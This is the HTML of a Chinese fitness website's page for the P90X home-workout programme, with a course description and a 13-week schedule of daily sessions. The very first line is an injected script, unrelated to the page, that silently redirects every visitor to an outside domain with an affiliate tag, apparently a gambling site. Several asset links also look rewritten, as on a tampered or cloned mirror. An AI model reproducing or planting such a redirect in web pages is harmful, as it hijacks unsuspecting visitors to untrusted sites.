<script LANGUAGE="Javascript"> location.href="https://www.pg6543.com?att=sn6666"; </script><!--/replacesign--> <div class="o-hiyd"> <script> SITE_URL = "/"; </script> <script src="?static/js/libs/seajs.utils.js?7c9ae9ca1b254cde"></script> <div class="o-header2"> <div class="o-header2_inner"> <a href="/" class="o-header_logo"> <img src="?static/img/logo3.png?218f9b39b0457ae3" /> </a> <div class="o-header2-nav"> <div data-hicms-tmpl="hiyd-nav"> <div> <a href="?dongzuo/" target='_self' class="item">健身动作库</a> <a href="?bb/" target='_self' class="item">训练计划</a> <a href="?course/index/" target='_self' class="item">特色课程</a> <a href="https://food.hiyd.com/" target='_self' class="item">饮食查询</a> <a href="?jianshen/" target='_self' class="item">健身知识</a> <a href="?videos/" target='_self' class="item">健身视频</a> <a href="?tools/index/" target='_self' class="item">健身工具</a> <a href="?dl/" target='_self' class="item item-dl">下载App</a> </div> </div> <div class="item-group"> <span id="btn_ouj_login" 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selected">不限目标</a> <a href="?bb/?target=1" class="sort-item " title="减脂">减脂</a> <a href="?bb/?target=2" class="sort-item " title="塑形">塑形</a> <a href="?bb/?target=4" class="sort-item " title="增肌">增肌</a> </div> </div> <div class="menu-item training-hard"> <div class="menu-item-hd"> <h3 class="menu-label">每周训练天数</h3> </div> <div class="menu-item-bd"> <a href="?bb/" class="sort-item selected">不限天数</a> <a href="?bb/?day=2" class="sort-item " title="2天">2天</a> <a href="?bb/?day=3" class="sort-item " title="3天">3天</a> <a href="?bb/?day=4" class="sort-item " title="4天">4天</a> <a href="?bb/?day=5" class="sort-item " title="5天/以上">5天/以上</a> </div> </div> <div class="menu-item instrument"> <div class="menu-item-hd"> <h3 class="menu-label">器械要求</h3> </div> <div class="menu-item-bd"> <a href="?bb/" class="sort-item selected">不限器械</a> <a href="?bb/?equipment=1" class="sort-item " title="徒手">徒手</a> <a href="?bb/?equipment=2" class="sort-item " title="哑铃">哑铃</a> <a href="?bb/?equipment=3" class="sort-item " title="健身房">健身房</a> </div> </div> <div class="menu-item training-part"> <div class="menu-item-hd"> <h3 class="menu-label">训练部位</h3> </div> <div class="menu-item-bd"> <a href="?bb/" class="sort-item selected">不限部位</a> <a href="?bb/?tpoint=6" class="sort-item " title="胸部">胸部</a> <a href="?bb/?tpoint=8" class="sort-item " title="背部">背部</a> <a href="?bb/?tpoint=7" class="sort-item " title="肩部">肩部</a> <a href="?bb/?tpoint=11" class="sort-item " title="腹部">腹部</a> <a href="?bb/?tpoint=9" class="sort-item " title="臀部">臀部</a> <a href="?bb/?tpoint=10" class="sort-item " title="腿部">腿部</a> <a href="?bb/?tpoint=2" class="sort-item " title="肱二头肌">肱二头肌</a> <a href="?bb/?tpoint=12" class="sort-item " title="肱三头肌">肱三头肌</a> <a href="?bb/?tpoint=13" class="sort-item " title="全身">全身</a> </div> </div> <div class="menu-item training-hard"> <div class="menu-item-hd"> <h3 class="menu-label">训练难度</h3> </div> <div class="menu-item-bd"> <a href="?bb/" class="sort-item selected">不限难度</a> <a href="?bb/?course_difficulty=1" class="sort-item " title="H1">H1</a> <a href="?bb/?course_difficulty=2" class="sort-item " title="H2">H2</a> <a href="?bb/?course_difficulty=3" class="sort-item " title="H3">H3</a> <a href="?bb/?course_difficulty=4" class="sort-item " title="H4">H4</a> <a href="?bb/?course_difficulty=5" class="sort-item " title="H5">H5</a> </div> </div> </div> </div> <div id="group_exercise" class="menu-group group-tp2 "> <a href="?dongzuo/"> <div class="group-hd"> <i></i><h3>训练动作</h3><em></em> </div> </a> </div> </div> <a href="javascript:void(0)" class="menu-handler">开关</a> </div> <script> seajs.use(['js/sidebar.js?cbd66f06e7294cc6'], function(e) { e.init(true); }); </script> <div class="o-exercise-main"> <div class="o-bbcourse-banner"> <div class="banner-inner"> <img src="http://w2.dwstatic.com/yy/ojiastoreimage/fe97409992f5a8ec7613679406320fbc.jpg" alt=""> <div class="banner-text"> <h1>P90X-标准训练</h1> <div class="cont"> <p>P90X，全称（Power 90 Extreme Home Fitness Program），是美国经典训练DVD，涵盖了全部方式的健身方法，一共13张DVD，90天的魔鬼训练。这套DVD出自beachbody公司，也是该公司有史以来最成功的教程，卖出了500多万套，市场盈利超过5亿美元。本课程由Tony Horton教练研发，呕心沥血，费尽两年时间，咨询了无数医学专家和各类运动学专家，最后终于出来的集大成巅峰之作。</p> </div> </div> </div> </div> <div class="o-video"> <div class="o-bbcourse"> <div class="o-bbcourse-index"> <div class="box-info"> <div class="box-info-hd"> <div class="hd-row1"> <h1>P90X-标准训练</h1> <div class="m-share-list" id="oshop-shareBar"> <a href="javascript:void(0);" class="share-handler">我要分享</a> <div class="share-menu"> <ul> <li><a data-role="weibo" class="weibo">新浪微博</a></li> <li><a data-role="qq-zone" class="qzone">QQ空间</a></li> <li><a data-role="wechat" class="wechat">微信</a></li> <li><a data-role="qq" class="qq">QQ</a></li> </ul> </div> </div> <script> seajs.use('js/libs/oujShare.js?8b427d7f4df4ee97', function(oujShare) { var Share = oujShare({ selector : "#oshop-shareBar", share_url : window.location.href, app_id : "", share_pic : "", share_title : "P90X-标准训练", share_desc : "P90X-标准训练", share_language : "zh_cn" }); }); </script> <!-- <div class="row-item1"> <strong>9.5</strong>分 </div> <div class="row-item2">我要评价</div> --> <ul class="row-tabs"> <li class="current"> <a href=?bb/528/">标准课程</a> </li> <li class=""> <a href=?bb/529/">加量训练</a> </li> <li class=""> <a href=?bb/530/">减脂训练</a> </li> </ul> </div> <div class="hd-row2"> <span>课时：13周</span> <span>天/周：5天</span> <span>强度：H4</span> </div> <!-- <div class="box-btn btn-sign"><i></i>签到</div> --> <!-- <div class="box-btn btn-sign signed"><i></i>已签到</div> --> <div class="box-btn joinCourse"><strong>+</strong><em>加入训练计划</em></div> </div> <div class="box-info-bd"> <p>P90X属于高级课程，没有运动基础的学员，很难跟上课程进度，可以先从P90，P90M开始练习。本课程左边的助教，华裔女孩子Tania，她做的动作都是简化版的，受不到教练霍顿折磨的，可以选择助教的方式降低难度。<br/> 课程优点：运动节奏快，效果明显<br/> 课程缺点：偏难偏累，全套课程器械需求多<br/></p> </div> </div> <div class="box-table"> <div class="table-con"> <div class="table-title"><h4>第1阶段</h4></div> <table> <tr> <td class="tp-head"> <span>1周</span> </td> <td class="tp-normal"> <a target="_blank" href=?bb/528_1/" class="row-item"> <i class="row-icon"></i> <div class="row-index">01</div> <p class="row-text">胸、背、腹</p> </a> </td> <td class="tp-normal"> <a target="_blank" href=?bb/528_2/" class="row-item"> <i class="row-icon"></i> <div class="row-index">02</div> <p class="row-text">爆发式训练</p> </a> </td> <td class="tp-normal"> <a target="_blank" href=?bb/528_3/" class="row-item"> <i class="row-icon"></i> <div class="row-index">03</div> <p class="row-text">肩、臂、腹</p> </a> </td> <td class="tp-normal"> <a target="_blank" href=?bb/528_4/" class="row-item"> <i class="row-icon"></i> <div class="row-index">04</div> <p class="row-text">瑜伽</p> </a> </td> <td class="tp-normal"> <a target="_blank" href=?bb/528_5/" class="row-item"> <i class="row-icon"></i> <div class="row-index">05</div> <p class="row-text">腿、背、腹</p> </a> </td> <td class="tp-normal"> <a target="_blank" href=?bb/528_6/" class="row-item"> <i class="row-icon"></i> <div class="row-index">06</div> <p class="row-text">搏击格斗术</p> </a> </td> <td class="tp-rest"> <a target="_blank" href=?bb/528_7/" class="row-item"> <i class="row-icon"></i> <div class="row-index">07</div> <p class="row-text">伸展运动 / 休息</p> </a> </td> </tr> <tr> <td class="tp-head"> <span>2周</span> </td> <td class="tp-normal"> <a target="_blank" href=?bb/528_8/" class="row-item"> <i class="row-icon"></i> <div class="row-index">08</div> <p class="row-text">胸、背、腹</p> </a> </td> <td class="tp-normal"> <a target="_blank" href=?bb/528_9/" class="row-item"> <i class="row-icon"></i> <div class="row-index">09</div> <p class="row-text">爆发式训练</p> </a> </td> <td class="tp-normal"> <a target="_blank" href=?bb/528_10/" class="row-item"> <i class="row-icon"></i> <div class="row-index">10</div> <p class="row-text">肩、臂、腹</p> </a> </td> <td class="tp-normal"> <a target="_blank" href=?bb/528_11/" class="row-item"> <i class="row-icon"></i> <div class="row-index">11</div> <p class="row-text">瑜伽</p> </a> </td> <td class="tp-normal"> <a target="_blank" href=?bb/528_12/" class="row-item"> <i class="row-icon"></i> <div class="row-index">12</div> <p class="row-text">腿、背、腹</p> </a> </td> <td class="tp-normal"> <a target="_blank" href=?bb/528_13/" class="row-item"> <i class="row-icon"></i> <div class="row-index">13</div> <p class="row-text">搏击格斗术</p> </a> </td> <td class="tp-rest"> <a target="_blank" href=?bb/528_14/" class="row-item"> <i class="row-icon"></i> <div class="row-index">14</div> <p class="row-text">伸展运动 / 休息</p> </a> </td> </tr> <tr> <td class="tp-head"> <span>3周</span> </td> <td class="tp-normal"> <a target="_blank" href=?bb/528_15/" class="row-item"> <i class="row-icon"></i> <div class="row-index">15</div> <p class="row-text">胸、背、腹</p> </a> </td> <td class="tp-normal"> <a target="_blank" href=?bb/528_16/" class="row-item"> <i class="row-icon"></i> <div class="row-index">16</div> <p class="row-text">爆发式训练</p> </a> </td> <td class="tp-normal"> <a target="_blank" href=?bb/528_17/" class="row-item"> <i class="row-icon"></i> <div class="row-index">17</div> <p class="row-text">肩、臂、腹</p> </a> </td> <td class="tp-normal"> <a target="_blank" href=?bb/528_18/" class="row-item"> <i class="row-icon"></i> <div class="row-index">18</div> <p class="row-text">瑜伽</p> </a> </td> <td class="tp-normal"> <a target="_blank" href=?bb/528_19/" class="row-item"> <i class="row-icon"></i> <div class="row-index">19</div> <p class="row-text">腿、背、腹</p> </a> </td> <td class="tp-normal"> <a target="_blank" href=?bb/528_20/" class="row-item"> <i class="row-icon"></i> <div class="row-index">20</div> <p class="row-text">搏击格斗术</p> </a> </td> <td class="tp-rest"> <a target="_blank" href=?bb/528_21/" class="row-item"> <i class="row-icon"></i> <div class="row-index">21</div> <p class="row-text">伸展运动 / 休息</p> </a> </td> </tr> <tr> <td class="tp-head"> <span>4周</span> </td> <td class="tp-normal"> <a target="_blank" href=?bb/528_22/" class="row-item"> <i class="row-icon"></i> <div class="row-index">22</div> <p class="row-text">瑜伽</p> </a> </td> <td class="tp-normal"> <a target="_blank" href=?bb/528_23/" class="row-item"> <i class="row-icon"></i> <div class="row-index">23</div> <p class="row-text">核心综合</p> </a> </td> <td class="tp-normal"> <a target="_blank" href=?bb/528_24/" class="row-item"> <i class="row-icon"></i> <div class="row-index">24</div> <p class="row-text">搏击格斗术</p> </a> </td> <td class="tp-normal"> <a target="_blank" href=?bb/528_25/" class="row-item"> <i class="row-icon"></i> <div class="row-index">25</div> <p class="row-text">伸展运动</p> </a> </td> <td class="tp-normal"> <a target="_blank" href=?bb/528_26/" class="row-item"> <i class="row-icon"></i> <div class="row-index">26</div> <p class="row-text">核心综合</p> </a> </td> <td class="tp-normal"> <a target="_blank" href=?bb/528_27/" class="row-item"> <i class="row-icon"></i> <div class="row-index">27</div> <p class="row-text">瑜伽</p> </a> </td> <td class="tp-rest"> <a target="_blank" href=?bb/528_28/" class="row-item"> <i class="row-icon"></i> <div class="row-index">28</div> <p class="row-text">伸展运动 / 休息</p> </a> </td> </tr> </table> </div> <div class="table-con"> <div class="table-title"><h4>第2阶段</h4></div> <table> <tr> <td class="tp-head"> <span>5周</span> </td> <td class="tp-normal"> <a target="_blank" href=?bb/528_29/" class="row-item"> <i class="row-icon"></i> <div class="row-index">29</div> <p class="row-text">胸、肩、腹</p> </a> </td> <td class="tp-normal"> <a target="_blank" href=?bb/528_30/" class="row-item"> <i class="row-icon"></i> <div class="row-index">30</div> <p class="row-text">爆发式训练</p> </a> </td> <td class="tp-normal"> <a target="_blank" href=?bb/528_31/" class="row-item"> <i class="row-icon"></i> <div class="row-index">31</div> <p class="row-text">背、二头肌、腹</p> </a> </td> <td class="tp-normal"> <a target="_blank" href=?bb/528_32/" class="row-item"> <i class="row-icon"></i> <div class="row-index">32</div> <p class="row-text">瑜伽</p> </a> </td> <td class="tp-normal"> <a target="_blank" href=?bb/528_33/" class="row-item"> <i class="row-icon"></i> <div class="row-index">33</div> <p class="row-text">腿、背、腹</p> </a> </td> <td class="tp-normal"> <a target="_blank" href=?bb/528_34/" class="row-item"> <i class="row-icon"></i> <div class="row-index">34</div> <p class="row-text">搏击格斗术</p> </a> </td> <td class="tp-rest"> <a target="_blank" href=?bb/528_35/" class="row-item"> <i class="row-icon"></i> <div class="row-index">35</div> <p class="row-text">伸展运动 / 休息</p> </a> </td> </tr> <tr> <td class="tp-head"> <span>6周</span> </td> <td class="tp-normal"> <a target="_blank" href=?bb/528_36/" class="row-item"> <i class="row-icon"></i> <div class="row-index">36</div> <p class="row-text">胸、肩、腹</p> </a> </td> <td class="tp-normal"> <a target="_blank" href=?bb/528_37/" class="row-item"> <i class="row-icon"></i> <div class="row-index">37</div> <p class="row-text">爆发式训练</p> </a> </td> <td class="tp-normal"> <a target="_blank" href=?bb/528_38/" class="row-item"> <i class="row-icon"></i> <div class="row-index">38</div> <p class="row-text">背、二头肌、腹</p> </a> </td> <td class="tp-normal"> <a target="_blank" href=?bb/528_39/" class="row-item"> <i class="row-icon"></i> <div class="row-index">39</div> <p class="row-text">瑜伽</p> </a> </td> <td class="tp-normal"> <a target="_blank" href=?bb/528_40/" class="row-item"> <i class="row-icon"></i> <div class="row-index">40</div> <p class="row-text">腿、背、腹</p> </a> </td> <td class="tp-normal"> <a target="_blank" href=?bb/528_41/" class="row-item"> <i class="row-icon"></i> <div class="row-index">41</div> <p class="row-text">搏击格斗术</p> </a> </td> <td class="tp-rest"> <a target="_blank" href=?bb/528_42/" class="row-item"> <i class="row-icon"></i> <div class="row-index">42</div> <p class="row-text">伸展运动 / 休息</p> </a> </td> </tr> <tr> <td class="tp-head"> <span>7周</span> </td> <td class="tp-normal"> <a target="_blank" href=?bb/528_43/" class="row-item"> <i class="row-icon"></i> <div class="row-index">43</div> <p class="row-text">胸、肩、腹</p> </a> </td> <td class="tp-normal"> <a target="_blank" href=?bb/528_44/" class="row-item"> <i class="row-icon"></i> <div class="row-index">44</div> <p class="row-text">爆发式训练</p> </a> </td> <td class="tp-normal"> <a target="_blank" href=?bb/528_45/" class="row-item"> <i class="row-icon"></i> <div class="row-index">45</div> <p class="row-text">背、二头肌、腹</p> </a> </td> <td class="tp-normal"> <a target="_blank" href=?bb/528_46/" class="row-item"> <i class="row-icon"></i> <div class="row-index">46</div> <p class="row-text">瑜伽</p> </a> </td> <td class="tp-normal"> <a target="_blank" href=?bb/528_47/" class="row-item"> <i class="row-icon"></i> <div class="row-index">47</div> <p class="row-text">腿、背、腹</p> </a> </td> <td class="tp-normal"> <a target="_blank" href=?bb/528_48/" class="row-item"> <i class="row-icon"></i> <div class="row-index">48</div> <p class="row-text">搏击格斗术</p> </a> </td> <td class="tp-rest"> <a target="_blank" href=?bb/528_49/" class="row-item"> <i class="row-icon"></i> <div class="row-index">49</div> <p class="row-text">伸展运动 / 休息</p> </a> </td> </tr> <tr> <td class="tp-head"> <span>8周</span> </td> <td class="tp-normal"> <a target="_blank" href=?bb/528_50/" class="row-item"> <i class="row-icon"></i> <div class="row-index">50</div> <p class="row-text">瑜伽</p> </a> </td> <td class="tp-normal"> <a target="_blank" href=?bb/528_51/" class="row-item"> <i class="row-icon"></i> <div class="row-index">51</div> <p class="row-text">核心综合</p> </a> </td> <td class="tp-normal"> <a target="_blank" href=?bb/528_52/" class="row-item"> <i class="row-icon"></i> <div class="row-index">52</div> <p class="row-text">搏击格斗术</p> </a> </td> <td class="tp-normal"> <a target="_blank" href=?bb/528_53/" class="row-item"> <i class="row-icon"></i> <div class="row-index">53</div> <p class="row-text">伸展运动</p> </a> </td> <td class="tp-normal"> <a target="_blank" href=?bb/528_54/" class="row-item"> <i class="row-icon"></i> <div class="row-index">54</div> <p class="row-text">核心综合</p> </a> </td> <td class="tp-normal"> <a target="_blank" href=?bb/528_55/" class="row-item"> <i class="row-icon"></i> <div class="row-index">55</div> <p class="row-text">瑜伽</p> </a> </td> <td class="tp-rest"> <a target="_blank" href=?bb/528_56/" class="row-item"> <i class="row-icon"></i> <div class="row-index">56</div> <p class="row-text">伸展运动 / 休息</p> </a> </td> </tr> </table> </div> <div class="table-con"> <div class="table-title"><h4>第3阶段</h4></div> <table> <tr> <td class="tp-head"> <span>9周</span> </td> <td class="tp-normal"> <a target="_blank" href=?bb/528_57/" class="row-item"> <i class="row-icon"></i> <div class="row-index">57</div> <p class="row-text">胸、背、腹</p> </a> </td> <td class="tp-normal"> <a target="_blank" href=?bb/528_58/" class="row-item"> <i class="row-icon"></i> <div class="row-index">58</div> <p class="row-text">爆发式训练</p> </a> </td> <td class="tp-normal"> <a target="_blank" href=?bb/528_59/" class="row-item"> <i class="row-icon"></i> <div class="row-index">59</div> <p class="row-text">肩、臂、腹</p> </a> </td> <td class="tp-normal"> <a target="_blank" href=?bb/528_60/" class="row-item"> <i class="row-icon"></i> <div class="row-index">60</div> <p class="row-text">瑜伽</p> </a> </td> <td class="tp-normal"> <a target="_blank" href=?bb/528_61/" class="row-item"> <i class="row-icon"></i> <div class="row-index">61</div> <p class="row-text">腿、背、腹</p> </a> </td> <td class="tp-normal"> <a target="_blank" href=?bb/528_62/" class="row-item"> <i class="row-icon"></i> <div class="row-index">62</div> <p class="row-text">搏击格斗术</p> </a> </td> <td class="tp-rest"> <a target="_blank" href=?bb/528_63/" class="row-item"> <i class="row-icon"></i> <div class="row-index">63</div> <p class="row-text">伸展运动 / 休息</p> </a> </td> </tr> <tr> <td class="tp-head"> <span>10周</span> </td> <td class="tp-normal"> <a target="_blank" href=?bb/528_64/" class="row-item"> <i class="row-icon"></i> <div class="row-index">64</div> <p class="row-text">胸、肩、腹</p> </a> </td> <td class="tp-normal"> <a target="_blank" href=?bb/528_65/" class="row-item"> <i class="row-icon"></i> <div class="row-index">65</div> <p class="row-text">爆发式训练</p> </a> </td> <td class="tp-normal"> <a target="_blank" href=?bb/528_66/" class="row-item"> <i class="row-icon"></i> <div class="row-index">66</div> <p class="row-text">背、二头肌、腹</p> </a> </td> <td class="tp-normal"> <a target="_blank" href=?bb/528_67/" class="row-item"> <i class="row-icon"></i> <div class="row-index">67</div> <p class="row-text">瑜伽</p> </a> </td> <td class="tp-normal"> <a target="_blank" href=?bb/528_68/" class="row-item"> <i class="row-icon"></i> <div class="row-index">68</div> <p class="row-text">腿、背、腹</p> </a> </td> <td class="tp-normal"> <a target="_blank" href=?bb/528_69/" class="row-item"> <i class="row-icon"></i> <div class="row-index">69</div> <p class="row-text">搏击格斗术</p> </a> </td> <td class="tp-rest"> <a target="_blank" href=?bb/528_70/" class="row-item"> <i class="row-icon"></i> <div class="row-index">70</div> <p class="row-text">伸展运动 / 休息</p> </a> </td> </tr> <tr> <td class="tp-head"> <span>11周</span> </td> <td class="tp-normal"> <a target="_blank" href=?bb/528_71/" class="row-item"> <i class="row-icon"></i> <div class="row-index">71</div> <p class="row-text">胸、背、腹</p> </a> </td> <td class="tp-normal"> <a target="_blank" href=?bb/528_72/" class="row-item"> <i class="row-icon"></i> <div class="row-index">72</div> <p class="row-text">爆发式训练</p> </a> </td> <td class="tp-normal"> <a target="_blank" href=?bb/528_73/" class="row-item"> <i class="row-icon"></i> <div class="row-index">73</div> <p class="row-text">肩、臂、腹</p> </a> </td> <td class="tp-normal"> <a target="_blank" href=?bb/528_74/" class="row-item"> <i class="row-icon"></i> <div class="row-index">74</div> <p class="row-text">瑜伽</p> </a> </td> <td class="tp-normal"> <a target="_blank" href=?bb/528_75/" class="row-item"> <i class="row-icon"></i> <div class="row-index">75</div> <p class="row-text">腿、背、腹</p> </a> </td> <td class="tp-normal"> <a target="_blank" href=?bb/528_76/" class="row-item"> <i class="row-icon"></i> <div class="row-index">76</div> <p class="row-text">搏击格斗术</p> </a> </td> <td class="tp-rest"> <a target="_blank" href=?bb/528_77/" class="row-item"> <i class="row-icon"></i> <div class="row-index">77</div> <p class="row-text">伸展运动 / 休息</p> </a> </td> </tr> <tr> <td class="tp-head"> <span>12周</span> </td> <td class="tp-normal"> <a target="_blank" href=?bb/528_78/" class="row-item"> <i class="row-icon"></i> <div class="row-index">78</div> <p class="row-text">胸、肩、腹</p> </a> </td> <td class="tp-normal"> <a target="_blank" href=?bb/528_79/" class="row-item"> <i class="row-icon"></i> <div class="row-index">79</div> <p class="row-text">爆发式训练</p> </a> </td> <td class="tp-normal"> <a target="_blank" href=?bb/528_80/" class="row-item"> <i class="row-icon"></i> <div class="row-index">80</div> <p class="row-text">背、二头肌、腹</p> </a> </td> <td class="tp-normal"> <a target="_blank" href=?bb/528_81/" class="row-item"> <i class="row-icon"></i> <div class="row-index">81</div> <p class="row-text">瑜伽</p> </a> </td> <td class="tp-normal"> <a target="_blank" href=?bb/528_82/" class="row-item"> <i class="row-icon"></i> <div class="row-index">82</div> <p class="row-text">腿、背、腹</p> </a> </td> <td class="tp-normal"> <a target="_blank" href=?bb/528_83/" class="row-item"> <i class="row-icon"></i> <div class="row-index">83</div> <p class="row-text">搏击格斗术</p> </a> </td> <td class="tp-rest"> <a target="_blank" href=?bb/528_84/" class="row-item"> <i class="row-icon"></i> <div class="row-index">84</div> <p class="row-text">伸展运动 / 休息</p> </a> </td> </tr> <tr> <td class="tp-head"> <span>13周</span> </td> <td class="tp-normal"> <a target="_blank" href=?bb/528_85/" class="row-item"> <i class="row-icon"></i> <div class="row-index">85</div> <p class="row-text">瑜伽</p> </a> </td> <td class="tp-normal"> <a target="_blank" href=?bb/528_86/" class="row-item"> <i class="row-icon"></i> <div class="row-index">86</div> <p class="row-text">核心综合</p> </a> </td> <td class="tp-normal"> <a target="_blank" href=?bb/528_87/" class="row-item"> <i class="row-icon"></i> <div class="row-index">87</div> <p class="row-text">搏击格斗术</p> </a> </td> <td class="tp-normal"> <a target="_blank" href=?bb/528_88/" class="row-item"> <i class="row-icon"></i> <div class="row-index">88</div> <p class="row-text">伸展运动</p> </a> </td> <td class="tp-normal"> <a target="_blank" href=?bb/528_89/" class="row-item"> <i class="row-icon"></i> <div class="row-index">89</div> <p class="row-text">核心综合</p> </a> </td> <td class="tp-normal"> <a target="_blank" href=?bb/528_90/" class="row-item"> <i class="row-icon"></i> <div class="row-index">90</div> <p class="row-text">瑜伽</p> </a> </td> </tr> </table> </div> <!-- <td class="tp-empty"></td> --> </div> <div class="box-list"> <h4>相关视频</h4> <ul id="recVdList"> </ul> </div> <div class="o-seo-bottom"> <div class="o-exercise-relative"> <h2>相关动作</h2> <ul class="list-exercise"> <li> <a href=?dongzuo/146/" target="_blank">站姿转体</a> </li> <li> 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